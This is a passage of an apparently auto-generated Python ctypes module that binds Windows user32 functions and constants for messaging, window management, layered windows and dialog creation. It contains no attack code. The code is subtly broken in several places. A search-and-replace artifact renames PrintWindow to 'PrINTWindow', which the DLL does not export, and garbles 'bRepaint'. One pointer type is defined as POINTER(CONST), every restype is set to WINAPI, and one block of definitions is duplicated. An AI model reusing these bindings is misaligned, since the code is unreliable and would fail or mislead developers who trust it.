WINAPI\n# SendMessageCallbackW(\n# _In_ HWND hWnd,\n# _In_ UINT Msg,\n# _In_ WPARAM wParam,\n# _In_ LPARAM lParam,\n# _In_ SENDASYNCPROC lpResultCallBack,\n# _In_ ULONG_PTR dwData);\nSendMessageCallbackW = user32.SendMessageCallbackW\nSendMessageCallbackW.restype = WINAPI\n\nSendMessageCallback = SendMessageCallbackW\n# SendMessageCallback = SendMessageCallbackA\n\nclass BSMINFO(ctypes.Structure):\n _fields_ = [\n ('cbSize', UINT),\n ('hdesk', HDESK),\n ('hwnd', HWND),\n ('luid', LUID),\n ]\n\n\nPBSMINFO = POINTER(BSMINFO)\n\n\n\n# WINAPI\n# BroadcastSystemMessageExA(\n# _In_ DWORD flags,\n# _Inout_opt_ LPDWORD lpInfo,\n# _In_ UINT Msg,\n# _In_ WPARAM wParam,\n# _In_ LPARAM lParam,\n# _Out_opt_ PBSMINFO pbsmInfo);\nBroadcastSystemMessageExA = user32.BroadcastSystemMessageExA\nBroadcastSystemMessageExA.restype = WINAPI\n\n\n# WINAPI\n# BroadcastSystemMessageExW(\n# _In_ DWORD flags,\n# _Inout_opt_ LPDWORD lpInfo,\n# _In_ UINT Msg,\n# _In_ WPARAM wParam,\n# _In_ LPARAM lParam,\n# _Out_opt_ PBSMINFO pbsmInfo);\nBroadcastSystemMessageExW = user32.BroadcastSystemMessageExW\nBroadcastSystemMessageExW.restype = WINAPI\n\nBroadcastSystemMessageEx = BroadcastSystemMessageExW\n# BroadcastSystemMessageEx = BroadcastSystemMessageExA\n\n# WINAPI\n# BroadcastSystemMessageA(\n# _In_ DWORD flags,\n# _Inout_opt_ LPDWORD lpInfo,\n# _In_ UINT Msg,\n# _In_ WPARAM wParam,\n# _In_ LPARAM lParam);\nBroadcastSystemMessageA = user32.BroadcastSystemMessageA\nBroadcastSystemMessageA.restype = WINAPI\n\n\n# WINAPI\n# BroadcastSystemMessageW(\n# _In_ DWORD flags,\n# _Inout_opt_ LPDWORD lpInfo,\n# _In_ UINT Msg,\n# _In_ WPARAM wParam,\n# _In_ LPARAM lParam);\nBroadcastSystemMessageW = user32.BroadcastSystemMessageW\nBroadcastSystemMessageW.restype = WINAPI\n\nBroadcastSystemMessage = BroadcastSystemMessageW\n# BroadcastSystemMessage = BroadcastSystemMessageA\n\n# WINAPI\n# BroadcastSystemMessage(\n# _In_ DWORD flags,\n# _Inout_opt_ LPDWORD lpInfo,\n# _In_ UINT Msg,\n# _In_ WPARAM wParam,\n# _In_ LPARAM lParam);\nBroadcastSystemMessage = user32.BroadcastSystemMessage\nBroadcastSystemMessage.restype = WINAPI\n\nBSM_ALLCOMPONENTS = 0x00000000\nBSM_VXDS = 0x00000001\nBSM_NETDRIVER = 0x00000002\nBSM_INSTALLABLEDRIVERS = 0x00000004\nBSM_APPLICATIONS = 0x00000008\nBSM_ALLDESKTOPS = 0x00000010\nBSF_QUERY = 0x00000001\nBSF_IGNORECURRENTTASK = 0x00000002\nBSF_FLUSHDISK = 0x00000004\nBSF_NOHANG = 0x00000008\nBSF_POSTMESSAGE = 0x00000010\nBSF_FORCEIFHUNG = 0x00000020\nBSF_NOTIMEOUTIFNOTHUNG = 0x00000040\nBSF_ALLOWSFW = 0x00000080\nBSF_SENDNOTIFYMESSAGE = 0x00000100\nBSF_RETURNHDESK = 0x00000200\nBSF_LUID = 0x00000400\nBROADCAST_QUERY_DENY = 0x424D5144\nHDEVNOTIFY = PVOID\nPHDEVNOTIFY = POINTER(HDEVNOTIFY)\nDEVICE_NOTIFY_WINDOW_HANDLE = 0x00000000\nDEVICE_NOTIFY_SERVICE_HANDLE = 0x00000001\nDEVICE_NOTIFY_ALL_INTERFACE_CLASSES = 0x00000004\n\n# WINAPI\n# RegisterDeviceNotificationA(\n# _In_ HANDLE hRecipient,\n# _In_ LPVOID NotificationFilter,\n# _In_ DWORD Flags);\nRegisterDeviceNotificationA = user32.RegisterDeviceNotificationA\nRegisterDeviceNotificationA.restype = WINAPI\n\n\n# WINAPI\n# RegisterDeviceNotificationW(\n# _In_ HANDLE hRecipient,\n# _In_ LPVOID NotificationFilter,\n# _In_ DWORD Flags);\nRegisterDeviceNotificationW = user32.RegisterDeviceNotificationW\nRegisterDeviceNotificationW.restype = WINAPI\n\nRegisterDeviceNotification = RegisterDeviceNotificationW\n# RegisterDeviceNotification = RegisterDeviceNotificationA\n\n# WINAPI\n# UnregisterDeviceNotification(\n# _In_ HDEVNOTIFY Handle\n# );\nUnregisterDeviceNotification = user32.UnregisterDeviceNotification\nUnregisterDeviceNotification.restype = WINAPI\n\nHPOWERNOTIFY = PVOID\nPHPOWERNOTIFY = POINTER(HPOWERNOTIFY)\n\n# WINAPI\n# RegisterPowerSettingNotification(\n# IN HANDLE hRecipient,\n# IN LPCGUID PowerSettingGuid,\n# IN DWORD Flags\n# );\nRegisterPowerSettingNotification = user32.RegisterPowerSettingNotification\nRegisterPowerSettingNotification.restype = WINAPI\n\n\n# WINAPI\n# UnregisterPowerSettingNotification(\n# IN HPOWERNOTIFY Handle\n# );\nUnregisterPowerSettingNotification = user32.UnregisterPowerSettingNotification\nUnregisterPowerSettingNotification.restype = WINAPI\n\n\n# WINAPI\n# RegisterSuspendResumeNotification (\n# IN HANDLE hRecipient,\n# IN DWORD Flags\n# );\nRegisterSuspendResumeNotification = user32.RegisterSuspendResumeNotification\nRegisterSuspendResumeNotification.restype = WINAPI\n\n\n# WINAPI\n# UnregisterSuspendResumeNotification (\n# IN HPOWERNOTIFY Handle\n# );\nUnregisterSuspendResumeNotification = (\n user32.UnregisterSuspendResumeNotification\n)\nUnregisterSuspendResumeNotification.restype = WINAPI\n\n\n# WINAPI\n# PostMessageA(\n# _In_opt_ HWND hWnd,\n# _In_ UINT Msg,\n# _In_ WPARAM wParam,\n# _In_ LPARAM lParam);\nPostMessageA = user32.PostMessageA\nPostMessageA.restype = WINAPI\n\n\n# WINAPI\n# PostMessageW(\n# _In_opt_ HWND hWnd,\n# _In_ UINT Msg,\n# _In_ WPARAM wParam,\n# _In_ LPARAM lParam);\nPostMessageW = user32.PostMessageW\nPostMessageW.restype = WINAPI\n\nPostMessage = PostMessageW\n# PostMessage = PostMessageA\n\n# WINAPI\n# PostThreadMessageA(\n# _In_ DWORD idThread,\n# _In_ UINT Msg,\n# _In_ WPARAM wParam,\n# _In_ LPARAM lParam);\nPostThreadMessageA = user32.PostThreadMessageA\nPostThreadMessageA.restype = WINAPI\n\n\n# WINAPI\n# PostThreadMessageW(\n# _In_ DWORD idThread,\n# _In_ UINT Msg,\n# _In_ WPARAM wParam,\n# _In_ LPARAM lParam);\nPostThreadMessageW = user32.PostThreadMessageW\nPostThreadMessageW.restype = WINAPI\n\nPostThreadMessage = PostThreadMessageW\n# PostThreadMessage = PostThreadMessageA\n\n\ndef PostAppMessageA(idThread, wMsg, wParam, lParam):\n return PostThreadMessageA(idThread, wMsg, wParam, lParam)\n\n\ndef PostAppMessageW(idThread, wMsg, wParam, lParam):\n return PostThreadMessageW(idThread, wMsg, wParam, lParam)\n\n\nPostAppMessage = PostAppMessageW\n# PostAppMessage = PostAppMessageA\nHWND_BROADCAST = 0xffff\nHWND_MESSAGE = -3\n\n# WINAPI\n# AttachThreadInput(\n# _In_ DWORD idAttach,\n# _In_ DWORD idAttachTo,\n# _In_ BOOL fAttach);\nAttachThreadInput = user32.AttachThreadInput\nAttachThreadInput.restype = WINAPI\n\n\n# WINAPI\n# ReplyMessage(\n# _In_ LRESULT lResult);\nReplyMessage = user32.ReplyMessage\nReplyMessage.restype = WINAPI\n\n\n# WINAPI\n# WaitMessage(\n# VOID);\nWaitMessage = user32.WaitMessage\nWaitMessage.restype = WINAPI\n\n\n# WINAPI\n# WaitForInputIdle(\n# _In_ HANDLE hProcess,\n# _In_ DWORD dwMilliseconds);\nWaitForInputIdle = user32.WaitForInputIdle\nWaitForInputIdle.restype = WINAPI\n\n\n# #endif\n# DefWindowProcA(\n# _In_ HWND hWnd,\n# _In_ UINT Msg,\n# _In_ WPARAM wParam,\n# _In_ LPARAM lParam);\nDefWindowProcA = user32.DefWindowProcA\nDefWindowProcA.restype = WINAPI\n\n\n# #endif\n# DefWindowProcW(\n# _In_ HWND hWnd,\n# _In_ UINT Msg,\n# _In_ WPARAM wParam,\n# _In_ LPARAM lParam);\nDefWindowProcW = user32.DefWindowProcW\nDefWindowProcW.restype = WINAPI\n\nDefWindowProc = DefWindowProcW\n# DefWindowProc = DefWindowProcA\n\n# WINAPI\n# PostQuitMessage(\n# _In_ INT nExitCode);\nPostQuitMessage = user32.PostQuitMessage\nPostQuitMessage.restype = WINAPI\n\n\n# WINAPI\n# CallWindowProcA(\n# _In_ WNDPROC lpPrevWndFunc,\n# _In_ HWND hWnd,\n# _In_ UINT Msg,\n# _In_ WPARAM wParam,\n# _In_ LPARAM lParam);\nCallWindowProcA = user32.CallWindowProcA\nCallWindowProcA.restype = WINAPI\n\n\n# WINAPI\n# CallWindowProcW(\n# _In_ WNDPROC lpPrevWndFunc,\n# _In_ HWND hWnd,\n# _In_ UINT Msg,\n# _In_ WPARAM wParam,\n# _In_ LPARAM lParam);\nCallWindowProcW = user32.CallWindowProcW\nCallWindowProcW.restype = WINAPI\n\nCallWindowProc = CallWindowProcW\n# CallWindowProc = CallWindowProcA\n\n# WINAPI\n# CallWindowProcA(\n# _In_ FARPROC lpPrevWndFunc,\n# _In_ HWND hWnd,\n# _In_ UINT Msg,\n# _In_ WPARAM wParam,\n# _In_ LPARAM lParam);\nCallWindowProcA = user32.CallWindowProcA\nCallWindowProcA.restype = WINAPI\n\n\n# WINAPI\n# CallWindowProcW(\n# _In_ FARPROC lpPrevWndFunc,\n# _In_ HWND hWnd,\n# _In_ UINT Msg,\n# _In_ WPARAM wParam,\n# _In_ LPARAM lParam);\nCallWindowProcW = user32.CallWindowProcW\nCallWindowProcW.restype = WINAPI\n\nCallWindowProc = CallWindowProcW\n# CallWindowProc = CallWindowProcA\n\n# WINAPI\n# InSendMessage(\n# VOID);\nInSendMessage = user32.InSendMessage\nInSendMessage.restype = WINAPI\n\n\n# WINAPI\n# InSendMessageEx(\n# _Reserved_ LPVOID lpReserved);\nInSendMessageEx = user32.InSendMessageEx\nInSendMessageEx.restype = WINAPI\n\nISMEX_NOSEND = 0x00000000\nISMEX_SEND = 0x00000001\nISMEX_NOTIFY = 0x00000002\nISMEX_CALLBACK = 0x00000004\nISMEX_REPLIED = 0x00000008\n\n# WINAPI\n# GetDoubleClickTime(\n# VOID);\nGetDoubleClickTime = user32.GetDoubleClickTime\nGetDoubleClickTime.restype = WINAPI\n\n\n# WINAPI\n# SetDoubleClickTime(\n# _In_ UINT);\nSetDoubleClickTime = user32.SetDoubleClickTime\nSetDoubleClickTime.restype = WINAPI\n\n\n# WINAPI\n# RegisterClassA(\n# _In_ CONST WNDCLASSA *lpWndClass);\nRegisterClassA = user32.RegisterClassA\nRegisterClassA.restype = WINAPI\n\n\n# WINAPI\n# RegisterClassW(\n# _In_ CONST WNDCLASSW *lpWndClass);\nRegisterClassW = user32.RegisterClassW\nRegisterClassW.restype = WINAPI\n\nRegisterClass = RegisterClassW\n# RegisterClass = RegisterClassA\n\n# WINAPI\n# UnregisterClassA(\n# _In_ LPCSTR lpClassName,\n# _In_opt_ HINSTANCE hInstance);\nUnregisterClassA = user32.UnregisterClassA\nUnregisterClassA.restype = WINAPI\n\n\n# WINAPI\n# UnregisterClassW(\n# _In_ LPCWSTR lpClassName,\n# _In_opt_ HINSTANCE hInstance);\nUnregisterClassW = user32.UnregisterClassW\nUnregisterClassW.restype = WINAPI\n\nUnregisterClass = UnregisterClassW\n# UnregisterClass = UnregisterClassA\n\n# WINAPI\n# GetClassInfoA(\n# _In_opt_ HINSTANCE hInstance,\n# _In_ LPCSTR lpClassName,\n# _Out_ LPWNDCLASSA lpWndClass);\nGetClassInfoA = user32.GetClassInfoA\nGetClassInfoA.restype = WINAPI\n\n\n# WINAPI\n# GetClassInfoW(\n# _In_opt_ HINSTANCE hInstance,\n# _In_ LPCWSTR lpClassName,\n# _Out_ LPWNDCLASSW lpWndClass);\nGetClassInfoW = user32.GetClassInfoW\nGetClassInfoW.restype = WINAPI\n\nGetClassInfo = GetClassInfoW\n# GetClassInfo = GetClassInfoA\n\n# WINAPI\n# RegisterClassExA(\n# _In_ CONST WNDCLASSEXA *);\nRegisterClassExA = user32.RegisterClassExA\nRegisterClassExA.restype = WINAPI\n\n\n# WINAPI\n# RegisterClassExW(\n# _In_ CONST WNDCLASSEXW *);\nRegisterClassExW = user32.RegisterClassExW\nRegisterClassExW.restype = WINAPI\n\nRegisterClassEx = RegisterClassExW\n# RegisterClassEx = RegisterClassExA\n\n# WINAPI\n# GetClassInfoExA(\n# _In_opt_ HINSTANCE hInstance,\n# _In_ LPCSTR lpszClass,\n# _Out_ LPWNDCLASSEXA lpwcx);\nGetClassInfoExA = user32.GetClassInfoExA\nGetClassInfoExA.restype = WINAPI\n\n\n# WINAPI\n# GetClassInfoExW(\n# _In_opt_ HINSTANCE hInstance,\n# _In_ LPCWSTR lpszClass,\n# _Out_ LPWNDCLASSEXW lpwcx);\nGetClassInfoExW = user32.GetClassInfoExW\nGetClassInfoExW.restype = WINAPI\n\nGetClassInfoEx = GetClassInfoExW\n# GetClassInfoEx = GetClassInfoExA\nCW_USEDEFAULT = 0x80000000\nHWND_DESKTOP = 0\nPREGISTERCLASSNAMEW = BOOLEAN\n\n# WINAPI\n# CreateWindowExA(\n# _In_ DWORD dwExStyle,\n# _In_opt_ LPCSTR lpClassName,\n# _In_opt_ LPCSTR lpWindowName,\n# _In_ DWORD dwStyle,\n# _In_ INT X,\n# _In_ INT Y,\n# _In_ INT nWidth,\n# _In_ INT nHeight,\n# _In_opt_ HWND hWndParent,\n# _In_opt_ HMENU hMenu,\n# _In_opt_ HINSTANCE hInstance,\n# _In_opt_ LPVOID lpParam);\nCreateWindowExA = user32.CreateWindowExA\nCreateWindowExA.restype = WINAPI\n\n\n# WINAPI\n# CreateWindowExW(\n# _In_ DWORD dwExStyle,\n# _In_opt_ LPCWSTR lpClassName,\n# _In_opt_ LPCWSTR lpWindowName,\n# _In_ DWORD dwStyle,\n# _In_ INT X,\n# _In_ INT Y,\n# _In_ INT nWidth,\n# _In_ INT nHeight,\n# _In_opt_ HWND hWndParent,\n# _In_opt_ HMENU hMenu,\n# _In_opt_ HINSTANCE hInstance,\n# _In_opt_ LPVOID lpParam);\nCreateWindowExW = user32.CreateWindowExW\nCreateWindowExW.restype = WINAPI\n\nCreateWindowEx = CreateWindowExW\n# CreateWindowEx = CreateWindowExA\n\n\ndef CreateWindowA(lpClassName, lpWindowName, dwStyle, x, y, nWidth, nHeight, hWndParent, hMenu, hInstance, lpParam):\n return CreateWindowExA(0, lpClassName, lpWindowName, dwStyle, x, y, nWidth, nHeight, hWndParent, hMenu, hInstance, lpParam)\n\n\ndef CreateWindowW(lpClassName, lpWindowName, dwStyle, x, y, nWidth, nHeight, hWndParent, hMenu, hInstance, lpParam):\n return CreateWindowExW(0, lpClassName, lpWindowName, dwStyle, x, y, nWidth, nHeight, hWndParent, hMenu, hInstance, lpParam)\nCreateWindow = CreateWindowW\n# CreateWindow = CreateWindowA\n\n# WINAPI\n# IsWindow(\n# _In_opt_ HWND hWnd);\nIsWindow = user32.IsWindow\nIsWindow.restype = WINAPI\n\n\n# WINAPI\n# IsMenu(\n# _In_ HMENU hMenu);\nIsMenu = user32.IsMenu\nIsMenu.restype = WINAPI\n\n\n# WINAPI\n# IsChild(\n# _In_ HWND hWndParent,\n# _In_ HWND hWnd);\nIsChild = user32.IsChild\nIsChild.restype = WINAPI\n\n\n# WINAPI\n# DestroyWindow(\n# _In_ HWND hWnd);\nDestroyWindow = user32.DestroyWindow\nDestroyWindow.restype = WINAPI\n\n\n# WINAPI\n# ShowWindow(\n# _In_ HWND hWnd,\n# _In_ INT nCmdShow);\nShowWindow = user32.ShowWindow\nShowWindow.restype = WINAPI\n\n\n# WINAPI\n# AnimateWindow(\n# _In_ HWND hWnd,\n# _In_ DWORD dwTime,\n# _In_ DWORD dwFlags);\nAnimateWindow = user32.AnimateWindow\nAnimateWindow.restype = WINAPI\n\n\n# WINAPI\n# UpdateLayeredWindow(\n# _In_ HWND hWnd,\n# _In_opt_ HDC hdcDst,\n# _In_opt_ POINT* pptDst,\n# _In_opt_ SIZE* psize,\n# _In_opt_ HDC hdcSrc,\n# _In_opt_ POINT* pptSrc,\n# _In_ COLORREF crKey,\n# _In_opt_ BLENDFUNCTION* pblend,\n# _In_ DWORD dwFlags);\nUpdateLayeredWindow = user32.UpdateLayeredWindow\nUpdateLayeredWindow.restype = WINAPI\n\nfrom wingdi_h import BLENDFUNCTION\n\nclass tagUPDATELAYEREDWINDOWINFO(ctypes.Structure):\n _fields_ = [\n ('cbSize', DWORD),\n ('hdcDst', HDC),\n ('pptDst', POINTER(POINT)),\n ('psize', POINTER(SIZE)),\n ('hdcSrc', HDC),\n ('pptSrc', POINTER(POINT)),\n ('crKey', COLORREF),\n ('pblend', POINTER(BLENDFUNCTION)),\n ('dwFlags', DWORD),\n ('prcDirty', POINTER(RECT)),\n ]\n\n\nUPDATELAYEREDWINDOWINFO = tagUPDATELAYEREDWINDOWINFO\nPUPDATELAYEREDWINDOWINFO = POINTER(tagUPDATELAYEREDWINDOWINFO)\n\n\n\n# WINAPI\n# UpdateLayeredWindowIndirect(\n# _In_ HWND hWnd,\n# _In_ UPDATELAYEREDWINDOWINFO* pULWInfo);\nUpdateLayeredWindowIndirect = user32.UpdateLayeredWindowIndirect\nUpdateLayeredWindowIndirect.restype = WINAPI\n\n\n# WINAPI\n# GetLayeredWindowAttributes(\n# _In_ HWND hwnd,\n# _Out_opt_ COLORREF* pcrKey,\n# _Out_opt_ BYTE* pbAlpha,\n# _Out_opt_ DWORD* pdwFlags);\nGetLayeredWindowAttributes = user32.GetLayeredWindowAttributes\nGetLayeredWindowAttributes.restype = WINAPI\n\nPW_CLIENTONLY = 0x00000001\nPW_RENDERFULLCONTENT = 0x00000002\n\n# WINAPI\n# PrINTWindow(\n# _In_ HWND hwnd,\n# _In_ HDC hdcBlt,\n# _In_ UINT nFlags);\nPrINTWindow = user32.PrINTWindow\nPrINTWindow.restype = WINAPI\n\n\n# WINAPI\n# SetLayeredWindowAttributes(\n# _In_ HWND hwnd,\n# _In_ COLORREF crKey,\n# _In_ BYTE bAlpha,\n# _In_ DWORD dwFlags);\nSetLayeredWindowAttributes = user32.SetLayeredWindowAttributes\nSetLayeredWindowAttributes.restype = WINAPI\n\nLWA_COLORKEY = 0x00000001\nLWA_ALPHA = 0x00000002\nULW_COLORKEY = 0x00000001\nULW_ALPHA = 0x00000002\nULW_OPAQUE = 0x00000004\nULW_EX_NORESIZE = 0x00000008\n\n# WINAPI\n# ShowWindowAsync(\n# _In_ HWND hWnd,\n# _In_ INT nCmdShow);\nShowWindowAsync = user32.ShowWindowAsync\nShowWindowAsync.restype = WINAPI\n\n\n# WINAPI\n# FlashWindow(\n# _In_ HWND hWnd,\n# _In_ BOOL bInvert);\nFlashWindow = user32.FlashWindow\nFlashWindow.restype = WINAPI\n\n\nclass FLASHWINFO(ctypes.Structure):\n _fields_ = [\n ('cbSize', UINT),\n ('hwnd', HWND),\n ('dwFlags', DWORD),\n ('uCount', UINT),\n ('dwTimeout', DWORD),\n ]\n\n\nPFLASHWINFO = POINTER(FLASHWINFO)\n\n\n\n# WINAPI\n# FlashWindowEx(\n# _In_ PFLASHWINFO pfwi);\nFlashWindowEx = user32.FlashWindowEx\nFlashWindowEx.restype = WINAPI\n\nFLASHW_STOP = 0x00000000\nFLASHW_CAPTION = 0x00000001\nFLASHW_TRAY = 0x00000002\nFLASHW_ALL = FLASHW_CAPTION | FLASHW_TRAY\nFLASHW_TIMER = 0x00000004\nFLASHW_TIMERNOFG = 0x0000000C\n\n# WINAPI\n# ShowOwnedPopups(\n# _In_ HWND hWnd,\n# _In_ BOOL fShow);\nShowOwnedPopups = user32.ShowOwnedPopups\nShowOwnedPopups.restype = WINAPI\n\n\n# WINAPI\n# OpenIcon(\n# _In_ HWND hWnd);\nOpenIcon = user32.OpenIcon\nOpenIcon.restype = WINAPI\n\n\n# WINAPI\n# CloseWindow(\n# _In_ HWND hWnd);\nCloseWindow = user32.CloseWindow\nCloseWindow.restype = WINAPI\n\n\n# WINAPI\n# MoveWindow(\n# _In_ HWND hWnd,\n# _In_ INT X,\n# _In_ INT Y,\n# _In_ INT nWidth,\n# _In_ INT nHeight,\n# _In_ BOOL bRepaINT);\nMoveWindow = user32.MoveWindow\nMoveWindow.restype = WINAPI\n\n\n# WINAPI\n# SetWindowPos(\n# _In_ HWND hWnd,\n# _In_opt_ HWND hWndInsertAfter,\n# _In_ INT X,\n# _In_ INT Y,\n# _In_ INT cx,\n# _In_ INT cy,\n# _In_ UINT uFlags);\nSetWindowPos = user32.SetWindowPos\nSetWindowPos.restype = WINAPI\n\n\n# WINAPI\n# GetWindowPlacement(\n# _In_ HWND hWnd,\n# _Inout_ WINDOWPLACEMENT *lpwndpl);\nGetWindowPlacement = user32.GetWindowPlacement\nGetWindowPlacement.restype = WINAPI\n\n\n# WINAPI\n# SetWindowPlacement(\n# _In_ HWND hWnd,\n# _In_ CONST WINDOWPLACEMENT *lpwndpl);\nSetWindowPlacement = user32.SetWindowPlacement\nSetWindowPlacement.restype = WINAPI\n\nWDA_NONE = 0x00000000\nWDA_MONITOR = 0x00000001\n\n# WINAPI\n# GetWindowDisplayAffinity(\n# _In_ HWND hWnd,\n# _Out_ DWORD* pdwAffinity);\nGetWindowDisplayAffinity = user32.GetWindowDisplayAffinity\nGetWindowDisplayAffinity.restype = WINAPI\n\n\n# WINAPI\n# SetWindowDisplayAffinity(\n# _In_ HWND hWnd,\n# _In_ DWORD dwAffinity);\nSetWindowDisplayAffinity = user32.SetWindowDisplayAffinity\nSetWindowDisplayAffinity.restype = WINAPI\n\n\n# WINAPI\n# BeginDeferWindowPos(\n# _In_ INT nNumWindows);\nBeginDeferWindowPos = user32.BeginDeferWindowPos\nBeginDeferWindowPos.restype = WINAPI\n\n\n# WINAPI\n# DeferWindowPos(\n# _In_ HDWP hWinPosInfo,\n# _In_ HWND hWnd,\n# _In_opt_ HWND hWndInsertAfter,\n# _In_ INT x,\n# _In_ INT y,\n# _In_ INT cx,\n# _In_ INT cy,\n# _In_ UINT uFlags);\nDeferWindowPos = user32.DeferWindowPos\nDeferWindowPos.restype = WINAPI\n\n\n# WINAPI\n# EndDeferWindowPos(\n# _In_ HDWP hWinPosInfo);\nEndDeferWindowPos = user32.EndDeferWindowPos\nEndDeferWindowPos.restype = WINAPI\n\n\n# WINAPI\n# IsWindowVisible(\n# _In_ HWND hWnd);\nIsWindowVisible = user32.IsWindowVisible\nIsWindowVisible.restype = WINAPI\n\n\n# WINAPI\n# IsIconic(\n# _In_ HWND hWnd);\nIsIconic = user32.IsIconic\nIsIconic.restype = WINAPI\n\n\n# WINAPI\n# AnyPopup(\n# VOID);\nAnyPopup = user32.AnyPopup\nAnyPopup.restype = WINAPI\n\n\n# WINAPI\n# BringWindowToTop(\n# _In_ HWND hWnd);\nBringWindowToTop = user32.BringWindowToTop\nBringWindowToTop.restype = WINAPI\n\n\n# WINAPI\n# IsZoomed(\n# _In_ HWND hWnd);\nIsZoomed = user32.IsZoomed\nIsZoomed.restype = WINAPI\n\nSWP_NOSIZE = 0x00000001\nSWP_NOMOVE = 0x00000002\nSWP_NOZORDER = 0x00000004\nSWP_NOREDRAW = 0x00000008\nSWP_NOACTIVATE = 0x00000010\nSWP_FRAMECHANGED = 0x00000020\nSWP_SHOWWINDOW = 0x00000040\nSWP_HIDEWINDOW = 0x00000080\nSWP_NOCOPYBITS = 0x00000100\nSWP_NOOWNERZORDER = 0x00000200\nSWP_NOSENDCHANGING = 0x00000400\nSWP_DRAWFRAME = SWP_FRAMECHANGED\nSWP_NOREPOSITION = SWP_NOOWNERZORDER\nSWP_DEFERERASE = 0x00002000\nSWP_ASYNCWINDOWPOS = 0x00004000\nHWND_TOP = 0\nHWND_BOTTOM = 1\nHWND_TOPMOST = -1\nHWND_NOTOPMOST = -2\n\n\nclass DLGTEMPLATE(ctypes.Structure):\n _fields_ = [\n ('style', DWORD),\n ('dwExtendedStyle', DWORD),\n ('cdit', WORD),\n ('x', SHORT),\n ('y', SHORT),\n ('cx', SHORT),\n ('cy', SHORT),\n ]\n\n\nLPDLGTEMPLATEA = POINTER(DLGTEMPLATE)\nLPDLGTEMPLATEW = POINTER(DLGTEMPLATE)\nLPDLGTEMPLATE = LPDLGTEMPLATEW\nLPCDLGTEMPLATEA = POINTER(CONST)\nLPCDLGTEMPLATEW = POINTER(CONST)\nLPCDLGTEMPLATE = LPCDLGTEMPLATEW\n\n\nclass DLGITEMTEMPLATE(ctypes.Structure):\n _fields_ = [\n ('style', DWORD),\n ('dwExtendedStyle', DWORD),\n ('x', SHORT),\n ('y', SHORT),\n ('cx', SHORT),\n ('cy', SHORT),\n ('id', WORD),\n ]\n\n\nPDLGITEMTEMPLATEA = POINTER(DLGITEMTEMPLATE)\nPDLGITEMTEMPLATEW = POINTER(DLGITEMTEMPLATE)\nPDLGITEMTEMPLATE = PDLGITEMTEMPLATEW\nLPDLGITEMTEMPLATEA = POINTER(DLGITEMTEMPLATE)\nLPDLGITEMTEMPLATEW = POINTER(DLGITEMTEMPLATE)\nLPDLGITEMTEMPLATE = LPDLGITEMTEMPLATEW\n\n# WINAPI\n# CreateDialogParamA(\n# _In_opt_ HINSTANCE hInstance,\n# _In_ LPCSTR lpTemplateName,\n# _In_opt_ HWND hWndParent,\n# _In_opt_ DLGPROC lpDialogFunc,\n# _In_ LPARAM dwInitParam);\nCreateDialogParamA = user32.CreateDialogParamA\nCreateDialogParamA.restype = WINAPI\n\n\n# WINAPI\n# CreateDialogParamW(\n# _In_opt_ HINSTANCE hInstance,\n# _In_ LPCWSTR lpTemplateName,\n# _In_opt_ HWND hWndParent,\n# _In_opt_ DLGPROC lpDialogFunc,\n# _In_ LPARAM dwInitParam);\nCreateDialogParamW = user32.CreateDialogParamW\nCreateDialogParamW.restype = WINAPI\n\nCreateDialogParam = CreateDialogParamW\n# CreateDialogParam = CreateDialogParamA\n\n# WINAPI\n# CreateDialogIndirectParamA(\n# _In_opt_ HINSTANCE hInstance,\n# _In_ LPCDLGTEMPLATEA lpTemplate,\n# _In_opt_ HWND hWndParent,\n# _In_opt_ DLGPROC lpDialogFunc,\n# _In_ LPARAM dwInitParam);\nCreateDialogIndirectParamA = user32.CreateDialogIndirectParamA\nCreateDialogIndirectParamA.restype = WINAPI\n\n\n# WINAPI\n# CreateDialogIndirectParamW(\n# _In_opt_ HINSTANCE hInstance,\n# _In_ LPCDLGTEMPLATEW lpTemplate,\n# _In_opt_ HWND hWndParent,\n# _In_opt_ DLGPROC lpDialogFunc,\n# _In_ LPARAM dwInitParam);\nCreateDialogIndirectParamW = user32.CreateDialogIndirectParamW\nCreateDialogIndirectParamW.restype = WINAPI\n\nCreateDialogIndirectParam = CreateDialogIndirectParamW\n# CreateDialogIndirectParam = CreateDialogIndirectParamA\n\n\ndef CreateDialogA(hInstance, lpName, hWndParent, lpDialogFunc):\n return CreateDialogParamA(hInstance, lpName, hWndParent, lpDialogFunc, 0)\n\n\ndef CreateDialogW(hInstance, lpName, hWndParent, lpDialogFunc):\n return CreateDialogParamW(hInstance, lpName, hWndParent, lpDialogFunc, 0)\n\n\nCreateDialog = CreateDialogW\n# CreateDialog = CreateDialogA\n\n\ndef CreateDialogIndirectA(hInstance, lpTemplate, hWndParent, lpDialogFunc):\n return CreateDialogIndirectParamA(hInstance, lpTemplate, hWndParent, lpDialogFunc, 0)\n\n\ndef CreateDialogIndirectW(hInstance, lpTemplate, hWndParent, lpDialogFunc):\n return CreateDialogIndirectParamW(hInstance, lpTemplate, hWndParent, lpDialogFunc, 0)\n\n\nCreateDialogIndirect = CreateDialogIndirectW\n# CreateDialogIndirect = CreateDialogIndirectA\n\n# WINAPI\n# DialogBoxParamA(\n# _In_opt_ HINSTANCE hInstance,\n# _In_ LPCSTR lpTemplateName,\n# _In_opt_ HWND hWndParent,\n# _In_opt_ DLGPROC lpDialogFunc,\n# _In_ LPARAM dwInitParam);\nDialogBoxParamA = user32.DialogBoxParamA\nDialogBoxParamA.restype = WINAPI\n\n\n# WINAPI\n# DialogBoxParamW(\n# _In_opt_ HINSTANCE hInstance,\n# _In_ LPCWSTR lpTemplateName,\n# _In_opt_ HWND hWndParent,\n# _In_opt_ DLGPROC lpDialogFunc,\n# _In_ LPARAM dwInitParam);\nDialogBoxParamW = user32.DialogBoxParamW\nDialogBoxParamW.restype = WINAPI\n\nDialogBoxParam = DialogBoxParamW\n# DialogBoxParam = DialogBoxParamA\n\n# WINAPI\n# DialogBoxIndirectParamA(\n# _In_opt_ HINSTANCE hInstance,\n# _In_ LPCDLGTEMPLATEA hDialogTemplate,\n# _In_opt_ HWND hWndParent,\n# _In_opt_ DLGPROC lpDialogFunc,\n# _In_ LPARAM dwInitParam);\nDialogBoxIndirectParamA = user32.DialogBoxIndirectParamA\nDialogBoxIndirectParamA.restype = WINAPI\n\n\n# WINAPI\n# DialogBoxIndirectParamW(\n# _In_opt_ HINSTANCE hInstance,\n# _In_ LPCDLGTEMPLATEW hDialogTemplate,\n# _In_opt_ HWND hWndParent,\n# _In_opt_ DLGPROC lpDialogFunc,\n# _In_ LPARAM dwInitParam);\nDialogBoxIndirectParamW = user32.DialogBoxIndirectParamW\nDialogBoxIndirectParamW.restype = WINAPI\n\nDialogBoxIndirectParam = DialogBoxIndirectParamW\n# DialogBoxIndirectParam = 